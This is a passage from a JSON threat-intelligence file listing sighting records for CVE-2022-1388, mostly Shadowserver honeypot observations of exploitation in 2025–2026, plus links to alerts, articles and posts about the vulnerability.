(2025-04-18)", "content": "", "creation_timestamp": "2025-04-18T00:00:00.000000Z"}, {"uuid": "36bda2c2-40fb-4c4d-a04c-745db23edc29", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-07-12)", "content": "", "creation_timestamp": "2025-07-12T00:00:00.000000Z"}, {"uuid": "011e9d13-2300-460f-8f35-aab4eba14034", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-05-28)", "content": "", "creation_timestamp": "2025-05-28T00:00:00.000000Z"}, {"uuid": "737a1d98-7566-4987-b717-5b08fb2dead0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-04-22)", "content": "", "creation_timestamp": "2025-04-22T00:00:00.000000Z"}, {"uuid": "1d1f13e8-b44f-4e0f-8222-25863285318d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-06-05)", "content": "", "creation_timestamp": "2025-06-05T00:00:00.000000Z"}, {"uuid": "26eebb0c-865f-47d2-86ca-c9a8e48192dd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-05-24)", "content": "", "creation_timestamp": "2025-05-24T00:00:00.000000Z"}, {"uuid": "f1ba3c9a-ee1f-4dc0-8f6f-588d3d63c669", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-04-26)", "content": "", "creation_timestamp": "2025-04-26T00:00:00.000000Z"}, {"uuid": "1585128d-dc79-4d0b-83a4-d65502628195", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-06-08)", "content": "", "creation_timestamp": "2025-06-08T00:00:00.000000Z"}, {"uuid": "73e4e6db-1a9c-41d1-a4ca-b38d3b88401c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-05-19)", "content": "", "creation_timestamp": "2025-05-19T00:00:00.000000Z"}, {"uuid": "1d3da7f9-4d4a-4c65-9c97-806cbcbb6ce6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-04-28)", "content": "", "creation_timestamp": "2025-04-28T00:00:00.000000Z"}, {"uuid": "64ad389d-baed-4ec2-ad22-e850ba551757", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "seen", "source": "https://poliverso.org/objects/0477a01e-e1523a5c-9dce464b104523e0", "content": "", "creation_timestamp": "2025-06-26T08:53:34.853287Z"}, {"uuid": "b8cbd1a0-7eb4-4641-a167-d0aead252431", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-06-14)", "content": "", "creation_timestamp": "2025-06-14T00:00:00.000000Z"}, {"uuid": "b5f56c3e-9235-452f-95bb-ff8f9b64c01e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-04-29)", "content": "", "creation_timestamp": "2025-04-29T00:00:00.000000Z"}, {"uuid": "37c037ed-faf4-4e4c-9780-1a31795ab3ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-04-30)", "content": "", "creation_timestamp": "2025-04-30T00:00:00.000000Z"}, {"uuid": "5afd1570-7773-458d-a94b-4c3701d64a8d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-05-22)", "content": "", "creation_timestamp": "2025-05-22T00:00:00.000000Z"}, {"uuid": "84d67cbf-36e2-4859-906f-0ea36d62b09e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-06-10)", "content": "", "creation_timestamp": "2025-06-10T00:00:00.000000Z"}, {"uuid": "7d027d9f-e570-4825-8486-e796896c4513", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-05-04)", "content": "", "creation_timestamp": "2025-05-04T00:00:00.000000Z"}, {"uuid": "bc8e204a-2deb-4c96-94f8-1cdc9ed644e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-06-12)", "content": "", "creation_timestamp": "2025-06-12T00:00:00.000000Z"}, {"uuid": "c78e9b56-cb80-48c2-b1a1-f40ac6b26cb3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-07-09)", "content": "", "creation_timestamp": "2025-07-09T00:00:00.000000Z"}, {"uuid": "649bca13-4878-48dd-85ee-327edba0eb36", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-05-17)", "content": "", "creation_timestamp": "2025-05-17T00:00:00.000000Z"}, {"uuid": "9cc822b3-441e-4874-9d14-ceb0905f3354", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-06-18)", "content": "", "creation_timestamp": "2025-06-18T00:00:00.000000Z"}, {"uuid": "3d59f7b9-1d81-4c92-969c-ca378f794814", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-07-06)", "content": "", "creation_timestamp": "2025-07-06T00:00:00.000000Z"}, {"uuid": "99ebfaad-be2f-4a97-8c44-12647c2a6068", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-05-11)", "content": "", "creation_timestamp": "2025-05-11T00:00:00.000000Z"}, {"uuid": "82b73792-8a82-42e2-aa5a-3da7688a001f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-05-25)", "content": "", "creation_timestamp": "2025-05-25T00:00:00.000000Z"}, {"uuid": "c4800510-cea8-4ef6-8080-7a30bc30844b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-05-27)", "content": "", "creation_timestamp": "2025-05-27T00:00:00.000000Z"}, {"uuid": "1fdf4acd-4002-43a7-a512-f306f2c9efac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-06-01)", "content": "", "creation_timestamp": "2025-06-01T00:00:00.000000Z"}, {"uuid": "d2aa4c11-05fa-466e-98f6-90ce1eb93189", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-06-09)", "content": "", "creation_timestamp": "2025-06-09T00:00:00.000000Z"}, {"uuid": "1964db37-5d04-423f-9988-f7a36463de88", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-07-20)", "content": "", "creation_timestamp": "2025-07-20T00:00:00.000000Z"}, {"uuid": "86b87d0c-5c3d-4e1e-8b0b-84069f062b91", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-07-21)", "content": "", "creation_timestamp": "2025-07-21T00:00:00.000000Z"}, {"uuid": "47be8112-2966-4aa8-a33a-cc2a9680d3b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-07-22)", "content": "", "creation_timestamp": "2025-07-22T00:00:00.000000Z"}, {"uuid": "cda84c7d-d89b-45aa-aff2-0d63a6ee79ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-07-23)", "content": "", "creation_timestamp": "2025-07-23T00:00:00.000000Z"}, {"uuid": "c7e377d8-9e1f-471e-9028-d158a810a7dc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-10-27)", "content": "", "creation_timestamp": "2025-10-27T00:00:00.000000Z"}, {"uuid": "c64aa243-c057-42b8-a579-3b486297e2e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "seen", "source": "https://threatintel.cc/2025/07/28/chinalinked-group-fire-ant-exploits.html", "content": "", "creation_timestamp": "2025-07-28T08:52:33.000000Z"}, {"uuid": "7314c7fa-28a6-42bd-9325-fba9e46768ec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-08-06)", "content": "", "creation_timestamp": "2025-08-06T00:00:00.000000Z"}, {"uuid": "024db0f7-e0c6-4041-a4d4-2dd9998befed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2022-1388", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3m4l6qx625t2q", "content": "", "creation_timestamp": "2025-11-01T14:20:07.908164Z"}, {"uuid": "7288af39-c1bf-4b77-85a4-ccee2c98f91c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "seen", "source": "https://bsky.app/profile/cybersecurity.page/post/3m4lqrfqehd2s", "content": "", "creation_timestamp": "2025-11-01T19:42:30.544095Z"}, {"uuid": "02d4760f-4cf7-4cbe-a041-9129ecc9f2cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-11-08)", "content": "", "creation_timestamp": "2025-11-08T00:00:00.000000Z"}, {"uuid": "3444d63a-ec5b-4da4-b810-ab895cb84d95", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "seen", "source": "https://poliverso.org/objects/0477a01e-2b7225e6-dcdcada2934e837a", "content": "", "creation_timestamp": "2025-10-20T22:19:36.373118Z"}, {"uuid": "cf76247c-9827-4812-a532-611ccda16227", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3m57tpryiunp2", "content": "", "creation_timestamp": "2025-11-09T19:28:42.452025Z"}, {"uuid": "ecf47d07-a8be-49b5-8e87-453a5d90d504", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-08-18)", "content": "", "creation_timestamp": "2025-08-18T00:00:00.000000Z"}, {"uuid": "c27b18d1-36c0-4c14-ade5-f0c6cb94fc0a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-08-19)", "content": "", "creation_timestamp": "2025-08-19T00:00:00.000000Z"}, {"uuid": "3098f467-18be-46a5-8cda-3f3b173249c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-08-22)", "content": "", "creation_timestamp": "2025-08-22T00:00:00.000000Z"}, {"uuid": "8f5162b9-9eba-4040-9aa4-31dd5863eaf8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/f5_icontrol_rce.rb", "content": "", "creation_timestamp": "2022-05-11T23:27:15.000000Z"}, {"uuid": "5be8cffc-a1ca-4570-9859-010d9c823afd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-09-18)", "content": "", "creation_timestamp": "2025-09-18T00:00:00.000000Z"}, {"uuid": "30dcd398-a29d-4371-9010-e41ba4a9bdaf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-08-26)", "content": "", "creation_timestamp": "2025-08-26T00:00:00.000000Z"}, {"uuid": "613a798f-739f-4c5f-b5b0-b1d71d716aa2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-08-27)", "content": "", "creation_timestamp": "2025-08-27T00:00:00.000000Z"}, {"uuid": "8f867756-f66e-424f-9240-28840279cd21", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "seen", "source": "MISP/d17bd6ef-d68b-317b-ac33-cdbc44c5fc57", "content": "", "creation_timestamp": "2025-08-31T03:12:42.000000Z"}, {"uuid": "19dfb24e-bff8-475f-b9ad-af5c17640b30", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-11-30)", "content": "", "creation_timestamp": "2025-11-30T00:00:00.000000Z"}, {"uuid": "d71b5ede-2cbd-4802-ad82-0d32b7f637ca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-12-01)", "content": "", "creation_timestamp": "2025-12-01T00:00:00.000000Z"}, {"uuid": "3f388149-6215-40b4-aebc-ddba5a1da75f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-11-29)", "content": "", "creation_timestamp": "2025-11-29T00:00:00.000000Z"}, {"uuid": "82fd8c2e-79d1-4d84-befa-1c62f2059181", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-08-31)", "content": "", "creation_timestamp": "2025-08-31T00:00:00.000000Z"}, {"uuid": "814e1dca-e98f-45a8-8fe6-93ec214f0577", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-02-19)", "content": "", "creation_timestamp": "2026-02-19T00:00:00.000000Z"}, {"uuid": "794bd724-68c0-403c-be47-4e7d25740a89", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-02-27)", "content": "", "creation_timestamp": "2026-02-27T00:00:00.000000Z"}, {"uuid": "136247a8-2e24-42cb-b86b-1eb047b28bb7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-03-04)", "content": "", "creation_timestamp": "2026-03-04T00:00:00.000000Z"}, {"uuid": "5ec2248d-d052-45f4-82ab-2138939625a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-12-09)", "content": "", "creation_timestamp": "2025-12-09T00:00:00.000000Z"}, {"uuid": "1f8b7849-7d4d-488e-9f5c-08a8839283ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-02-22)", "content": "", "creation_timestamp": "2026-02-22T00:00:00.000000Z"}, {"uuid": "f3ff3dc8-8027-4c98-842b-640b23760d71", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-02-23)", "content": "", "creation_timestamp": "2026-02-23T00:00:00.000000Z"}, {"uuid": "15930dd5-11f3-45e8-bd5f-d25b638ff7a6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-12-16)", "content": "", "creation_timestamp": "2025-12-16T00:00:00.000000Z"}, {"uuid": "f308d751-e7a1-4429-93cc-59954ff4d10c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-02-09)", "content": "", "creation_timestamp": "2026-02-09T00:00:00.000000Z"}, {"uuid": "2adce91e-9c5a-4415-ad65-4f4b0bb0268d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-02-18)", "content": "", "creation_timestamp": "2026-02-18T00:00:00.000000Z"}, {"uuid": "0ce43876-abf3-4506-924e-070a1403df40", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-01-30)", "content": "", "creation_timestamp": "2026-01-30T00:00:00.000000Z"}, {"uuid": "aedc96ee-a00a-4e20-98cc-39042c9bc689", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-02-11)", "content": "", "creation_timestamp": "2026-02-11T00:00:00.000000Z"}, {"uuid": "409caf79-db53-4fa7-b696-6196d272fbb7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-01-28)", "content": "", "creation_timestamp": "2026-01-28T00:00:00.000000Z"}, {"uuid": "37fd9679-08dd-4ad4-a698-10b64a834d15", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-02-26)", "content": "", "creation_timestamp": "2026-02-26T00:00:00.000000Z"}, {"uuid": "fc92d2df-165d-45f5-addc-c885e1623fcf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-02-08)", "content": "", "creation_timestamp": "2026-02-08T00:00:00.000000Z"}, {"uuid": "0b2f0f80-31ca-4f2c-ae6c-7a527767556d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-02-28)", "content": "", "creation_timestamp": "2026-02-28T00:00:00.000000Z"}, {"uuid": "ecc05d0b-a347-4c80-b279-93ad47f1ce16", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-03-12)", "content": "", "creation_timestamp": "2026-03-12T00:00:00.000000Z"}, {"uuid": "d47f2063-3637-4825-bce3-69d5cf4aec72", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-03-11)", "content": "", "creation_timestamp": "2026-03-11T00:00:00.000000Z"}, {"uuid": "0fb2d654-f24a-4bb8-a745-d6060a882f29", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "seen", "source": "https://gist.github.com/siberkampus/8f640eaeb1cebdc1ffeec85bc40e3754", "content": "", "creation_timestamp": "2026-01-20T12:39:42.000000Z"}, {"uuid": "7a538af8-6ccd-4858-a008-daf6f5adf2b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2022-1388", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/fdda4963-0aa7-4d15-8a8f-969db8f304ca", "content": "", "creation_timestamp": "2025-02-28T23:49:13.272798Z"}, {"uuid": "56f61085-d1f4-40b7-8e60-b40dcb389c0c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-01-23)", "content": "", "creation_timestamp": "2026-01-23T00:00:00.000000Z"}, {"uuid": "808e9777-bae4-488c-b1d2-474fe6e57660", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2022-1388", "type": "seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=800", "content": "", "creation_timestamp": "2022-05-05T04:00:00.000000Z"}, {"uuid": "e628c683-36c4-42d0-a4e8-c0bf0bfb15ca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/ca71a718-c31f-4e35-b439-635f8e0c4ca9", "content": "", "creation_timestamp": "2026-02-02T12:27:47.219134Z"}, {"uuid": "50e50c4d-c5e9-496a-8cbc-4978337821f4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-03-31)", "content": "", "creation_timestamp": 